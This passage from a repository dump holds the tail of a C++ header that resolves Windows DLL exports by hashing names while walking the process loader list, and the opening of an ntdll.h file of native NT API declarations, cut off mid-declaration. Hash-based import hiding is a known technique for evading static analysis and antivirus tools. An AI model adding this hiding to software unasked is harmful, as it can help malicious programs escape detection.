  Subsystem;\n                unsigned short       DllCharacteristics;\n                unsigned long long   SizeOfStackReserve;\n                unsigned long long   SizeOfStackCommit;\n                unsigned long long   SizeOfHeapReserve;\n                unsigned long long   SizeOfHeapCommit;\n                unsigned long        LoaderFlags;\n                unsigned long        NumberOfRvaAndSizes;\n                IMAGE_DATA_DIRECTORY DataDirectory[16];\n            };\n\n            struct IMAGE_OPTIONAL_HEADER32 {\n                unsigned short       Magic;\n                unsigned char        MajorLinkerVersion;\n                unsigned char        MinorLinkerVersion;\n                unsigned long        SizeOfCode;\n                unsigned long        SizeOfInitializedData;\n                unsigned long        SizeOfUninitializedData;\n                unsigned long        AddressOfEntryPoint;\n                unsigned long        BaseOfCode;\n                unsigned long        BaseOfData;\n                unsigned long        ImageBase;\n                unsigned long        SectionAlignment;\n                unsigned long        FileAlignment;\n                unsigned short       MajorOperatingSystemVersion;\n                unsigned short       MinorOperatingSystemVersion;\n                unsigned short       MajorImageVersion;\n                unsigned short       MinorImageVersion;\n                unsigned short       MajorSubsystemVersion;\n                unsigned short       MinorSubsystemVersion;\n                unsigned long        Win32VersionValue;\n                unsigned long        SizeOfImage;\n                unsigned long        SizeOfHeaders;\n                unsigned long        CheckSum;\n                unsigned short       Subsystem;\n                unsigned short       DllCharacteristics;\n                unsigned long        SizeOfStackReserve;\n                unsigned long        SizeOfStackCommit;\n                unsigned long        SizeOfHeapReserve;\n                unsigned long        SizeOfHeapCommit;\n                unsigned long        LoaderFlags;\n                unsigned long        NumberOfRvaAndSizes;\n                IMAGE_DATA_DIRECTORY DataDirectory[16];\n            };\n\n            struct IMAGE_NT_HEADERS {\n                unsigned long     Signature;\n                IMAGE_FILE_HEADER FileHeader;\n#ifdef _WIN64\n                IMAGE_OPTIONAL_HEADER64 OptionalHeader;\n#else\n                IMAGE_OPTIONAL_HEADER32 OptionalHeader;\n#endif\n            };\n\n        } // namespace win\n\n        struct forwarded_hashes {\n            unsigned module_hash;\n            unsigned function_hash;\n        };\n\n        // 64 bit integer where 32 bits are used for the hash offset\n        // and remaining 32 bits are used for the hash computed using it\n        using offset_hash_pair = unsigned long long;\n\n        LAZY_IMPORTER_FORCEINLINE constexpr unsigned get_hash(offset_hash_pair pair) noexcept { return (pair & 0xFFFFFFFF); }\n\n        LAZY_IMPORTER_FORCEINLINE constexpr unsigned get_offset(offset_hash_pair pair) noexcept { return (pair >> 32); }\n\n        template<bool CaseSensitive = LAZY_IMPORTER_CASE_SENSITIVITY>\n        LAZY_IMPORTER_FORCEINLINE constexpr unsigned hash_single(unsigned value, char c) noexcept\n        {\n            return static_cast<unsigned int>(\n                (value ^ ((CaseSensitive && c >= 'A' && c <= 'Z') ? (c | (1 << 5)) : c)) *\n                static_cast<unsigned long long>(16777619));\n        }\n\n        LAZY_IMPORTER_FORCEINLINE constexpr unsigned\n            khash_impl(const char* str, unsigned value) noexcept\n        {\n            return (*str ? khash_impl(str + 1, hash_single(value, *str)) : value);\n        }\n\n        LAZY_IMPORTER_FORCEINLINE constexpr offset_hash_pair khash(\n            const char* str, unsigned offset) noexcept\n        {\n            return ((offset_hash_pair{ offset } << 32) | khash_impl(str, offset));\n        }\n\n        template<class CharT = char>\n        LAZY_IMPORTER_FORCEINLINE unsigned hash(const CharT* str, unsigned offset) noexcept\n        {\n            unsigned value = offset;\n\n            for (;;) {\n                char c = *str++;\n                if (!c)\n                    return value;\n                value = hash_single(value, c);\n            }\n        }\n\n        LAZY_IMPORTER_FORCEINLINE unsigned hash(\n            const win::UNICODE_STRING_T& str, unsigned offset) noexcept\n        {\n            auto       first = str.Buffer;\n            const auto last = first + (str.Length / sizeof(wchar_t));\n            auto       value = offset;\n            for (; first != last; ++first)\n                value = hash_single(value, static_cast<char>(*first));\n\n            return value;\n        }\n\n        LAZY_IMPORTER_FORCEINLINE forwarded_hashes hash_forwarded(\n            const char* str, unsigned offset) noexcept\n        {\n            forwarded_hashes res{ offset, offset };\n\n            for (; *str != '.'; ++str)\n                res.module_hash = hash_single<true>(res.module_hash, *str);\n\n            ++str;\n\n            for (; *str; ++str)\n                res.function_hash = hash_single(res.function_hash, *str);\n\n            return res;\n        }\n\n        // some helper functions\n        LAZY_IMPORTER_FORCEINLINE const win::PEB_T* peb() noexcept\n        {\n#if defined(_M_X64) || defined(__amd64__)\n            return reinterpret_cast<const win::PEB_T*>(__readgsqword(0x60));\n#elif defined(_M_IX86) || defined(__i386__)\n            return reinterpret_cast<const win::PEB_T*>(__readfsdword(0x30));\n#elif defined(_M_ARM) || defined(__arm__)\n            return *reinterpret_cast<const win::PEB_T**>(_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0x30);\n#elif defined(_M_ARM64) || defined(__aarch64__)\n            return *reinterpret_cast<const win::PEB_T**>(__getReg(18) + 0x60);\n#elif defined(_M_IA64) || defined(__ia64__)\n            return *reinterpret_cast<const win::PEB_T**>(static_cast<char*>(_rdteb()) + 0x60);\n#else\n#error Unsupported platform. Open an issue and I'll probably add support.\n#endif\n        }\n\n        LAZY_IMPORTER_FORCEINLINE const win::PEB_LDR_DATA_T* ldr()\n        {\n            return reinterpret_cast<const win::PEB_LDR_DATA_T*>(peb()->Ldr);\n        }\n\n        LAZY_IMPORTER_FORCEINLINE const win::IMAGE_NT_HEADERS* nt_headers(\n            const char* base) noexcept\n        {\n            return reinterpret_cast<const win::IMAGE_NT_HEADERS*>(\n                base + reinterpret_cast<const win::IMAGE_DOS_HEADER*>(base)->e_lfanew);\n        }\n\n        LAZY_IMPORTER_FORCEINLINE const win::IMAGE_EXPORT_DIRECTORY* image_export_dir(\n            const char* base) noexcept\n        {\n            return reinterpret_cast<const win::IMAGE_EXPORT_DIRECTORY*>(\n                base + nt_headers(base)->OptionalHeader.DataDirectory->VirtualAddress);\n        }\n\n        LAZY_IMPORTER_FORCEINLINE const win::LDR_DATA_TABLE_ENTRY_T* ldr_data_entry() noexcept\n        {\n            return reinterpret_cast<const win::LDR_DATA_TABLE_ENTRY_T*>(\n                ldr()->InLoadOrderModuleList.Flink);\n        }\n\n        struct exports_directory {\n            const char* _base;\n            const win::IMAGE_EXPORT_DIRECTORY* _ied;\n            unsigned long                      _ied_size;\n\n        public:\n            using size_type = unsigned long;\n\n            LAZY_IMPORTER_FORCEINLINE\n                exports_directory(const char* base) noexcept : _base(base)\n            {\n                const auto ied_data_dir = nt_headers(base)->OptionalHeader.DataDirectory[0];\n                _ied = reinterpret_cast<const win::IMAGE_EXPORT_DIRECTORY*>(\n                    base + ied_data_dir.VirtualAddress);\n                _ied_size = ied_data_dir.Size;\n            }\n\n            LAZY_IMPORTER_FORCEINLINE explicit operator bool() const noexcept\n            {\n                return reinterpret_cast<const char*>(_ied) != _base;\n            }\n\n            LAZY_IMPORTER_FORCEINLINE size_type size() const noexcept\n            {\n                return _ied->NumberOfNames;\n            }\n\n            LAZY_IMPORTER_FORCEINLINE const char* base() const noexcept { return _base; }\n            LAZY_IMPORTER_FORCEINLINE const win::IMAGE_EXPORT_DIRECTORY* ied() const noexcept\n            {\n                return _ied;\n            }\n\n            LAZY_IMPORTER_FORCEINLINE const char* name(size_type index) const noexcept\n            {\n                return reinterpret_cast<const char*>(\n                    _base + reinterpret_cast<const unsigned long*>(\n                        _base + _ied->AddressOfNames)[index]);\n            }\n\n            LAZY_IMPORTER_FORCEINLINE const char* address(size_type index) const noexcept\n            {\n                const auto* const rva_table =\n                    reinterpret_cast<const unsigned long*>(_base + _ied->AddressOfFunctions);\n\n                const auto* const ord_table = reinterpret_cast<const unsigned short*>(\n                    _base + _ied->AddressOfNameOrdinals);\n\n                return _base + rva_table[ord_table[index]];\n            }\n\n            LAZY_IMPORTER_FORCEINLINE bool is_forwarded(\n                const char* export_address) const noexcept\n            {\n                const auto ui_ied = reinterpret_cast<const char*>(_ied);\n                return (export_address > ui_ied && export_address < ui_ied + _ied_size);\n            }\n        };\n\n        struct safe_module_enumerator {\n            using value_type = const detail::win::LDR_DATA_TABLE_ENTRY_T;\n            value_type* value;\n            value_type* head;\n\n            LAZY_IMPORTER_FORCEINLINE safe_module_enumerator() noexcept\n                : safe_module_enumerator(ldr_data_entry())\n            {}\n\n            LAZY_IMPORTER_FORCEINLINE\n                safe_module_enumerator(const detail::win::LDR_DATA_TABLE_ENTRY_T* ldr) noexcept\n                : value(ldr->load_order_next()), head(value)\n            {}\n\n            LAZY_IMPORTER_FORCEINLINE void reset() noexcept\n            {\n                value = head->load_order_next();\n            }\n\n            LAZY_IMPORTER_FORCEINLINE bool next() noexcept\n            {\n                value = value->load_order_next();\n\n                return value != head && value->DllBase;\n            }\n        };\n\n        struct unsafe_module_enumerator {\n            using value_type = const detail::win::LDR_DATA_TABLE_ENTRY_T*;\n            value_type value;\n\n            LAZY_IMPORTER_FORCEINLINE unsafe_module_enumerator() noexcept\n                : value(ldr_data_entry())\n            {}\n\n            LAZY_IMPORTER_FORCEINLINE void reset() noexcept { value = ldr_data_entry(); }\n\n            LAZY_IMPORTER_FORCEINLINE bool next() noexcept\n            {\n                value = value->load_order_next();\n                return true;\n            }\n        };\n\n        // provides the cached functions which use Derive classes methods\n        template<class Derived, class DefaultType = void*>\n        class lazy_base {\n        protected:\n            // This function is needed because every templated function\n            // with different args has its own static buffer\n            LAZY_IMPORTER_FORCEINLINE static void*& _cache() noexcept\n            {\n                static void* value = nullptr;\n                return value;\n            }\n\n        public:\n            template<class T = DefaultType>\n            LAZY_IMPORTER_FORCEINLINE static T safe() noexcept\n            {\n                return Derived::template get<T, safe_module_enumerator>();\n            }\n\n            template<class T = DefaultType, class Enum = unsafe_module_enumerator>\n            LAZY_IMPORTER_FORCEINLINE static T cached() noexcept\n            {\n                auto& cached = _cache();\n                if (!cached)\n                    cached = Derived::template get<void*, Enum>();\n\n                return (T)(cached);\n            }\n\n            template<class T = DefaultType>\n            LAZY_IMPORTER_FORCEINLINE static T safe_cached() noexcept\n            {\n                return cached<T, safe_module_enumerator>();\n            }\n        };\n\n        template<offset_hash_pair OHP>\n        struct lazy_module : lazy_base<lazy_module<OHP>> {\n            template<class T = void*, class Enum = unsafe_module_enumerator>\n            LAZY_IMPORTER_FORCEINLINE static T get() noexcept\n            {\n                Enum e;\n                do {\n                    if (hash(e.value->BaseDllName, get_offset(OHP)) == get_hash(OHP))\n                        return (T)(e.value->DllBase);\n                } while (e.next());\n                return {};\n            }\n\n            template<class T = void*, class Ldr>\n            LAZY_IMPORTER_FORCEINLINE static T in(Ldr ldr) noexcept\n            {\n                safe_module_enumerator e((const detail::win::LDR_DATA_TABLE_ENTRY_T*)(ldr));\n                do {\n                    if (hash(e.value->BaseDllName, get_offset(OHP)) == get_hash(OHP))\n                        return (T)(e.value->DllBase);\n                } while (e.next());\n                return {};\n            }\n\n            template<class T = void*, class Ldr>\n            LAZY_IMPORTER_FORCEINLINE static T in_cached(Ldr ldr) noexcept\n            {\n                auto& cached = lazy_base<lazy_module<OHP>>::_cache();\n                if (!cached)\n                    cached = in(ldr);\n\n                return (T)(cached);\n            }\n        };\n\n        template<offset_hash_pair OHP, class T>\n        struct lazy_function : lazy_base<lazy_function<OHP, T>, T> {\n            using base_type = lazy_base<lazy_function<OHP, T>, T>;\n\n            template<class... Args>\n            LAZY_IMPORTER_FORCEINLINE decltype(auto) operator()(Args&&... args) const\n            {\n#ifndef LAZY_IMPORTER_CACHE_OPERATOR_PARENS\n                return get()(LAZY_IMPORTER_CPP_FORWARD(Args, args)...);\n#else\n                return this->cached()(LAZY_IMPORTER_CPP_FORWARD(Args, args)...);\n#endif\n            }\n\n            template<class F = T, class Enum = unsafe_module_enumerator>\n            LAZY_IMPORTER_FORCEINLINE static F get() noexcept\n            {\n                // for backwards compatability.\n                // Before 2.0 it was only possible to resolve forwarded exports when\n                // this macro was enabled\n#ifdef LAZY_IMPORTER_RESOLVE_FORWARDED_EXPORTS\n                return forwarded<F, Enum>();\n#else\n\n                Enum e;\n\n                do {\n#ifdef LAZY_IMPORTER_HARDENED_MODULE_CHECKS\n                    if (!e.value->DllBase || !e.value->FullDllName.Length)\n                        continue;\n#endif\n\n                    const exports_directory exports(e.value->DllBase);\n\n                    if (exports) {\n                        auto export_index = exports.size();\n                        while (export_index--)\n                            if (hash(exports.name(export_index), get_offset(OHP)) == get_hash(OHP))\n                                return (F)(exports.address(export_index));\n                    }\n                } while (e.next());\n                return {};\n#endif\n            }\n\n            template<class F = T, class Enum = unsafe_module_enumerator>\n            LAZY_IMPORTER_FORCEINLINE static F forwarded() noexcept\n            {\n                detail::win::UNICODE_STRING_T name;\n                forwarded_hashes              hashes{ 0, get_hash(OHP) };\n\n                Enum e;\n                do {\n                    name = e.value->BaseDllName;\n                    name.Length -= 8; // get rid of .dll extension\n\n                    if (!hashes.module_hash || hash(name, get_offset(OHP)) == hashes.module_hash) {\n                        const exports_directory exports(e.value->DllBase);\n\n                        if (exports) {\n                            auto export_index = exports.size();\n                            while (export_index--)\n                                if (hash(exports.name(export_index), get_offset(OHP)) == hashes.function_hash) {\n                                    const auto addr = exports.address(export_index);\n\n                                    if (exports.is_forwarded(addr)) {\n                                        hashes = hash_forwarded(\n                                            reinterpret_cast<const char*>(addr),\n                                            get_offset(OHP));\n\n                                        e.reset();\n                                        break;\n                                    }\n                                    return (F)(addr);\n                                }\n                        }\n                    }\n                } while (e.next());\n                return {};\n            }\n\n            template<class F = T>\n            LAZY_IMPORTER_FORCEINLINE static F forwarded_safe() noexcept\n            {\n                return forwarded<F, safe_module_enumerator>();\n            }\n\n            template<class F = T, class Enum = unsafe_module_enumerator>\n            LAZY_IMPORTER_FORCEINLINE static F forwarded_cached() noexcept\n            {\n                auto& value = base_type::_cache();\n                if (!value)\n                    value = forwarded<void*, Enum>();\n                return (F)(value);\n            }\n\n            template<class F = T>\n            LAZY_IMPORTER_FORCEINLINE static F forwarded_safe_cached() noexcept\n            {\n                return forwarded_cached<F, safe_module_enumerator>();\n            }\n\n            template<class F = T, bool IsSafe = false, class Module>\n            LAZY_IMPORTER_FORCEINLINE static F in(Module m) noexcept\n            {\n                if (IsSafe && !m)\n                    return {};\n\n                const exports_directory exports((const char*)(m));\n                if (IsSafe && !exports)\n                    return {};\n\n                for (unsigned long i{};; ++i) {\n                    if (IsSafe && i == exports.size())\n                        break;\n\n                    if (hash(exports.name(i), get_offset(OHP)) == get_hash(OHP))\n                        return (F)(exports.address(i));\n                }\n                return {};\n            }\n\n            template<class F = T, class Module>\n            LAZY_IMPORTER_FORCEINLINE static F in_safe(Module m) noexcept\n            {\n                return in<F, true>(m);\n            }\n\n            template<class F = T, bool IsSafe = false, class Module>\n            LAZY_IMPORTER_FORCEINLINE static F in_cached(Module m) noexcept\n            {\n                auto& value = base_type::_cache();\n                if (!value)\n                    value = in<void*, IsSafe>(m);\n                return (F)(value);\n            }\n\n            template<class F = T, class Module>\n            LAZY_IMPORTER_FORCEINLINE static F in_safe_cached(Module m) noexcept\n            {\n                return in_cached<F, true>(m);\n            }\n\n            template<class F = T>\n            LAZY_IMPORTER_FORCEINLINE static F nt() noexcept\n            {\n                return in<F>(ldr_data_entry()->load_order_next()->DllBase);\n            }\n\n            template<class F = T>\n            LAZY_IMPORTER_FORCEINLINE static F nt_safe() noexcept\n            {\n                return in_safe<F>(ldr_data_entry()->load_order_next()->DllBase);\n            }\n\n            template<class F = T>\n            LAZY_IMPORTER_FORCEINLINE static F nt_cached() noexcept\n            {\n                return in_cached<F>(ldr_data_entry()->load_order_next()->DllBase);\n            }\n\n            template<class F = T>\n            LAZY_IMPORTER_FORCEINLINE static F nt_safe_cached() noexcept\n            {\n                return in_safe_cached<F>(ldr_data_entry()->load_order_next()->DllBase);\n            }\n        };\n\n    }\n} // namespace li::detail\n\n#endif // include guard\n"
  },
  {
    "path": "RIPPL/ntdll.h",
    "content": "/*****************************************************************************/\n/* Ntdll.h                                Copyright (c) Ladislav Zezula 2005 */\n/*---------------------------------------------------------------------------*/\n/* Header file for the import library \"Ntdll.lib\"                            */\n/*                                                                           */\n/* This library has been created because of never-ending problems when       */\n/* Ntdll.lib from Windows DDK with SDK libs (duplicate symbols, linker       */\n/* errors etc).                                                              */\n/* Now, it is possible to use native NT API with no problems, all you need   */\n/* is just to include this header file                                       */\n/*---------------------------------------------------------------------------*/\n/*   Date    Ver   Who  Comment                                              */\n/* --------  ----  ---  -------                                              */\n/* 15.05.03  1.00  Lad  The first version of Ntdll.h                         */\n/* 16.09.05  2.00  Lad  Far more functions                                   */\n/*****************************************************************************/\n\n#include <Windows.h>\n\n#ifndef __NTDLL_H__\n#define __NTDLL_H__\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#ifdef _NTDDK_\n#error This header cannot be compiled together with NTDDK\n#endif\n\n#ifndef _NTDLL_SELF_                            // Auto-insert the library\n#pragma comment(lib, \"Ntdll.lib\")\n#endif\n\n#pragma warning(disable: 4201)                  // nonstandard extension used : nameless struct/union\n\n//------------------------------------------------------------------------------\n// Defines for NTSTATUS\n\n#ifdef _Return_type_success_\ntypedef _Return_type_success_(return >= 0) LONG NTSTATUS;\n#else\ntypedef LONG NTSTATUS;\n#endif\n\n#ifndef NT_SUCCESS\n#define NT_SUCCESS(Status)   ((NTSTATUS)(Status) >= 0)\n#endif\n\n#ifndef STATUS_SUCCESS\n#define STATUS_SUCCESS       ((NTSTATUS)0x00000000L)\n#endif\n\n#ifndef STATUS_UNSUCCESSFUL\n#define STATUS_UNSUCCESSFUL  ((NTSTATUS)0xC0000001L)\n#endif\n\n#ifndef ASSERT\n#ifdef _DEBUG\n#define ASSERT(x) assert(x)\n#else\n#define ASSERT(x) /* x */\n#endif\n#endif\n\n#ifndef DEVICE_TYPE\n#define DEVICE_TYPE DWORD\n#endif\n\n//-----------------------------------------------------------------------------\n// Definition of intervals for waiting functions\n\n#define ABSOLUTE_INTERVAL(wait) (wait)\n\n#define RELATIVE_INTERVAL(wait) (-(wait))\n\n#define NANOSECONDS(nanos) \\\n(((signed __int64)(nanos)) / 100L)\n\n#define MICROSECONDS(micros) \\\n(((signed __int64)(micros)) * NANOSECONDS(1000L))\n\n#define MILISECONDS(mili) \\\n(((signed __int64)(mili)) * MICROSECONDS(1000L))\n\n#define SECONDS(seconds) \\\n(((signed __int64)(seconds)) * MILISECONDS(1000L))\n\n//------------------------------------------------------------------------------\n// Structures\n\n#ifndef _NTDEF_\ntypedef enum _EVENT_TYPE\n{\n    NotificationEvent,\n    SynchronizationEvent\n} EVENT_TYPE;\n\n//\n// ANSI strings are counted 8-bit character strings. If they are\n// NULL terminated, Length does not include trailing NULL.\n//\n\ntypedef struct _STRING\n{\n    USHORT Length;\n    USHORT MaximumLength;\n    PCHAR  Buffer;\n} STRING, *PSTRING;\n\n//\n// Unicode strings are counted 16-bit character strings. If they are\n// NULL terminated, Length does not include trailing NULL.\n//\n\ntypedef struct _UNICODE_STRING\n{\n    USHORT Length;\n    USHORT MaximumLength;\n    PWSTR  Buffer;\n} UNICODE_STRING, *PUNICODE_STRING;\n\n//\n// bitmap type\n//\n\ntypedef struct _RTL_BITMAP\n{\n    ULONG SizeOfBitmap;\n    PULONG Buffer;\n} RTL_BITMAP, *PRTL_BITMAP;\n\n//\n// preallocated heap-growable buffers\n//\n\ntypedef struct _RTL_BUFFER\n{\n    PUCHAR    Buffer;\n    PUCHAR    StaticBuffer;\n    SIZE_T    Size;\n    SIZE_T    StaticSize;\n    SIZE_T    ReservedForAllocatedSize;     // for future doubling\n    PVOID     ReservedForIMalloc;           // for future pluggable growth\n} RTL_BUFFER, *PRTL_BUFFER;\n\n//\n// A preallocated buffer that is \"tied\" to a UNICODE_STRING\n//\n\ntypedef struct _RTL_UNICODE_STRING_BUFFER\n{\n    UNICODE_STRING String;\n    RTL_BUFFER     ByteBuffer;\n    UCHAR          MinimumStaticBufferForTerminalNul[sizeof(WCHAR)];\n\n} RTL_UNICODE_STRING_BUFFER, *PRTL_UNICODE_STRING_BUFFER;\n\ntypedef STRING ANSI_STRING;\ntypedef PSTRING PANSI_STRING;\n\ntypedef STRING OEM_STRING;\ntypedef PSTRING POEM_STRING;\ntypedef CONST STRING* PCOEM_STRING;\n\ntypedef const UNICODE_STRING *PCUNICODE_STRING;\n\n#define UNICODE_NULL ((WCHAR)0) // winnt\n\n#ifndef RTL_CONSTANT_STRING         // UNICODE_STRING FooStr = RTL_CONSTANT_STRING(L\"Foo\");\n#define RTL_CONSTANT_STRING(str)    {(USHORT)(sizeof(str) - sizeof(str[0])), (USHORT)(sizeof(str)), str}\n#endif  // RTL_CONSTANT_STRING\n\n//\n// Definitions for Object Creation\n//\n\n#define OBJ_INHERIT                             0x00000002L\n#define OBJ_PERMANENT                           0x00000010L\n#define OBJ_EXCLUSIVE                           0x00000020L\n#define OBJ_CASE_INSENSITIVE                    0x00000040L\n#define OBJ_OPENIF                              0x00000080L\n#define OBJ_OPENLINK                            0x00000100L\n#define OBJ_KERNEL_HANDLE                       0x00000200L\n#define OBJ_FORCE_ACCESS_CHECK                  0x00000400L\n#define OBJ_VALID_ATTRIBUTES                    0x000007F2L\n\n//\n// Object Attributes structure\n//\n\ntypedef struct _OBJECT_ATTRIBUTES\n{\n    ULONG Length;\n    HANDLE RootDirectory;\n    PUNICODE_STRING ObjectName;\n    ULONG Attributes;\n    PVOID SecurityDescriptor;        // Points to type SECURITY_DESCRIPTOR\n    PVOID SecurityQualityOfService;  // Points to type SECURITY_QUALITY_OF_SERVICE\n} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;\n\n//\n// IO_STATUS_BLOCK\n//\n\ntypedef struct _IO_STATUS_BLOCK\n{\n    union\n    {\n        NTSTATUS Status;\n        PVOID Pointer;\n    };\n\n    ULONG_PTR Information;\n\n} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;\n\n//\n// ClientId\n//\n\ntypedef struct _CLIENT_ID\n{\n    HANDLE UniqueProcess;\n    HANDLE UniqueThread;\n} CLIENT_ID, *PCLIENT_ID;\n#endif // _NTDEF_\n/*\ntypedef struct _IMAGE_RELOC\n{\n    WORD offset : 12;\n    WORD type : 4;\n} IMAGE_RELOC, *PIMAGE_RELOC;\n*/\n\n//------------------------------------------------------------------------------\n// Macros\n\n#ifndef InitializeObjectAttributes\n#define InitializeObjectAttributes( innerPath, n, a, r, s ) {   \\\n    (innerPath)->Length = sizeof( OBJECT_ATTRIBUTES );          \\\n    (innerPath)->RootDirectory = r;                             \\\n    (innerPath)->Attributes = a;                                \\\n    (innerPath)->ObjectName = n;                                \\\n    (innerPath)->SecurityDescriptor = s;                        \\\n    (innerPath)->SecurityQualityOfService = NULL;               \\\n    }\n#endif\n\n//\n// Macros for handling LIST_ENTRY-based lists\n//\n\n#if !defined(_WDMDDK_) && !defined(_LIST_ENTRY_MACROS_DEFINED_)\n#define _LIST_ENTRY_MACROS_DEFINED_\n\nBOOLEAN\nFORCEINLINE\nIsListEmpty(\n    IN const LIST_ENTRY * ListHead\n    )\n{\n    return (BOOLEAN)(ListHead->Flink == ListHead);\n}\n\nFORCEINLINE\nVOID\nInitializeListHead(\n    IN PLIST_ENTRY ListHead\n    )\n{\n    ListHead->Flink = ListHead->Blink = ListHead;\n}\n\nFORCEINLINE\nVOID\nInsertHeadList(\n    IN OUT PLIST_ENTRY ListHead,\n    IN OUT PLIST_ENTRY Entry\n    )\n{\n    PLIST_ENTRY Flink;\n\n    Flink = ListHead->Flink;\n    Entry->Flink = Flink;\n    Entry->Blink = ListHead;\n    Flink->Blink = Entry;\n    ListHead->Flink = Entry;\n}\n\nFORCEINLINE\nVOID\nInsertTailList(\n    IN OUT PLIST_ENTRY ListHead,\n    IN OUT PLIST_ENTRY Entry\n    )\n{\n    PLIST_ENTRY Blink;\n\n    Blink = ListHead->Blink;\n    Entry->Flink = ListHead;\n    Entry->Blink = Blink;\n    Blink->Flink = Entry;\n    ListHead->Blink = Entry;\n}\n\nFORCEINLINE\nBOOLEAN\nRemoveEntryList(\n    IN PLIST_ENTRY Entry\n    )\n{\n    PLIST_ENTRY Blink;\n    PLIST_ENTRY Flink;\n\n    Flink = Entry->Flink;\n    Blink = Entry->Blink;\n    Blink->Flink = Flink;\n    Flink->Blink = Blink;\n    return (BOOLEAN)(Flink == Blink);\n}\n#endif  // #if !defined(_WDMDDK_) && !defined(_LIST_ENTRY_MACROS_DEFINED_)\n\n//-----------------------------------------------------------------------------\n// Bitmap functions\n\nNTSYSAPI\nVOID\nNTAPI\nRtlSetBit(\n    PRTL_BITMAP BitMapHeader,\n    ULONG BitNumber\n    );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlSetBits(\n    PRTL_BITMAP BitMapHeader,\n    ULONG StartingIndex,\n    ULONG NumberToSet\n    );\n\n//-----------------------------------------------------------------------------\n// Unicode string functions\n\nNTSYSAPI\nVOID\nNTAPI\nRtlInitString(\n    PSTRING DestinationString,\n    PCSTR SourceString\n    );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlInitUnicodeString(\n    PUNICODE_STRING DestinationString,\n    PCWSTR SourceString\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlInitUnicodeStringEx(\n    PUNICODE_STRING DestinationString,\n    PCWSTR SourceString\n    );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlCreateUnicodeString(\n    OUT PUNICODE_STRING DestinationString,\n    IN PCWSTR SourceString\n    );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlCreateUnicodeStringFromAsciiz(\n    OUT PUNICODE_STRING Destination,\n    IN PCSTR Source\n    );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlPrefixUnicodeString(\n    IN PUNICODE_STRING String1,\n    IN PUNICODE_STRING String2,\n    IN BOOLEAN CaseInSensitive\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlDuplicateUnicodeString(\n    IN  BOOLEAN AllocateNew,\n    IN  PUNICODE_STRING SourceString,\n    OUT PUNICODE_STRING TargetString\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlAppendUnicodeToString(\n    PUNICODE_STRING Destination,\n    PCWSTR Source\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlAppendUnicodeStringToString(\n    IN OUT PUNICODE_STRING Destination,\n    IN PUNICODE_STRING Source\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlUnicodeStringToInteger(\n    IN PUNICODE_STRING String,\n    IN ULONG Base OPTIONAL,\n    OUT PULONG Value\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlIntegerToUnicodeString(\n    IN ULONG Value,\n    IN ULONG Base OPTIONAL,\n    IN OUT PUNICODE_STRING String\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlGUIDFromString(\n    IN PUNICODE_STRING GuidString,\n    OUT GUID *Guid\n    );\n\nNTSYSAPI\nLONG\nNTAPI\nRtlCompareUnicodeString(\n    IN PUNICODE_STRING String1,\n    IN PUNICODE_STRING String2,\n    IN BOOLEAN CaseInSensitive\n    );\n\n// Windows Vista or newer\nNTSYSAPI\nLONG\nNTAPI\nRtlCompareUnicodeStrings(\n    IN PWCH String1,\n    IN SIZE_T Length1,\n    IN PWCH String2,\n    IN SIZE_T Length2,\n    IN BOOLEAN CaseInSensitive\n    );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlCopyUnicodeString(\n    OUT PUNICODE_STRING DestinationString,\n    IN PUNICODE_STRING SourceString\n    );\n\nNTSYSAPI\nWCHAR\nNTAPI\nRtlUpcaseUnicodeChar(\n    IN WCHAR SourceCharacter\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlUpcaseUnicodeString(\n    OUT PUNICODE_STRING DestinationString,\n    IN PUNICODE_STRING SourceString,\n    IN BOOLEAN AllocateDestinationString\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlDowncaseUnicodeString(\n    OUT PUNICODE_STRING DestinationString,\n    IN PUNICODE_STRING SourceString,\n    IN BOOLEAN AllocateDestinationString\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlUpcaseUnicodeToMultiByteN(\n    OUT PCH MultiByteString,\n    IN ULONG MaxBytesInMultiByteString,\n    OUT PULONG BytesInMultiByteString OPTIONAL,\n    IN PWCH UnicodeString,\n    IN ULONG BytesInUnicodeString\n    );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlEqualUnicodeString(\n    IN PUNICODE_STRING String1,\n    IN PUNICODE_STRING String2,\n    IN BOOLEAN CaseInSensitive\n    );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlFreeUnicodeString(\n    IN  PUNICODE_STRING UnicodeString\n    );\n\nNTSYSAPI\nWCHAR\nNTAPI\nRtlAnsiCharToUnicodeChar(\n    IN OUT PUCHAR * SourceCharacter\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlAnsiStringToUnicodeString(\n    OUT PUNICODE_STRING DestinationString,\n    IN PANSI_STRING SourceString,\n    IN BOOLEAN AllocateDestinationString\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlUnicodeStringToAnsiString(\n    OUT PANSI_STRING DestinationString,\n    IN PUNICODE_STRING SourceString,\n    IN BOOLEAN AllocateDestinationString\n    );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlInitAnsiString(\n    OUT PANSI_STRING DestinationString,\n    IN PCHAR SourceString\n    );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlFreeAnsiString(\n    IN PANSI_STRING AnsiString\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlFormatCurrentUserKeyPath(\n    OUT PUNICODE_STRING CurrentUserKeyPath\n    );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlRaiseStatus(\n    IN 